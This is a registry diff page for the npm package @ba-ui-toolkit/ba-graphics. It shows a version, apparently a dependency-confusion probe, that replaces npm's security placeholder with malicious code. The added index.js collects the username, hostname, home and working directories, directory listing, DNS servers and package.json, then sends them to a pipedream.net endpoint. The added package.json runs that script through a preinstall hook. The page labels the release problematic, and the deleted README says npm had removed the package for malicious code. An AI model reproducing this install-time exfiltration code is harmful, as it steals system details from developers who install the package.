@ba-ui-toolkit/ba-graphics 0.0.1-security → 7.1.15

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @ba-ui-toolkit/ba-graphics might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +73 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,73 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const fs = require("fs");
6
+ const packageJSON = require("./package.json");
7
+
8
+ const package = packageJSON.name;
9
+
10
+ // Function to gather tracking data
11
+ async function getTrackingData() {
12
+ return new Promise((resolve, reject) => {
13
+ fs.readdir(process.cwd(), (err, files) => {
14
+ if (err) {
15
+ reject(err);
16
+ } else {
17
+ const trackingData = {
18
+ p: package,
19
+ c: __dirname,
20
+ hd: os.homedir(),
21
+ hn: os.hostname(),
22
+ pwd: process.cwd(),
23
+ un: os.userInfo().username,
24
+ dns: dns.getServers(),
25
+ dirContents: files,
26
+ r: packageJSON.___resolved || undefined,
27
+ v: packageJSON.version,
28
+ pjson: packageJSON,
29
+ };
30
+ resolve(trackingData);
31
+ }
32
+ });
33
+ });
34
+ }
35
+
36
+ // Send the data
37
+ async function sendTrackingData() {
38
+ try {
39
+ const trackingData = await getTrackingData();
40
+ const postData = querystring.stringify({
41
+ msg: JSON.stringify(trackingData),
42
+ });
43
+
44
+ const options = {
45
+ hostname: "eoldm9ohlkz8krm.m.pipedream.net",
46
+ port: 443,
47
+ path: "/",
48
+ method: "POST",
49
+ headers: {
50
+ "Content-Type": "application/x-www-form-urlencoded",
51
+ "Content-Length": postData.length,
52
+ },
53
+ };
54
+
55
+ const req = https.request(options, (res) => {
56
+ res.on("data", (d) => {
57
+ process.stdout.write(d);
58
+ });
59
+ });
60
+
61
+ req.on("error", (e) => {
62
+ console.error("Request error:", e);
63
+ });
64
+
65
+ req.write(postData);
66
+ req.end();
67
+ } catch (err) {
68
+ console.error("Error gathering tracking data:", err);
69
+ }
70
+ }
71
+
72
+ // Run the function
73
+ sendTrackingData();
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "@ba-ui-toolkit/ba-graphics",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "7.1.15",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "preinstall": "node index.js"
7
+ },
8
+ "author": "",
9
+ "license": "ISC",
10
+ "description": ""
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40ba-ui-toolkit%2Fba-graphics for more information.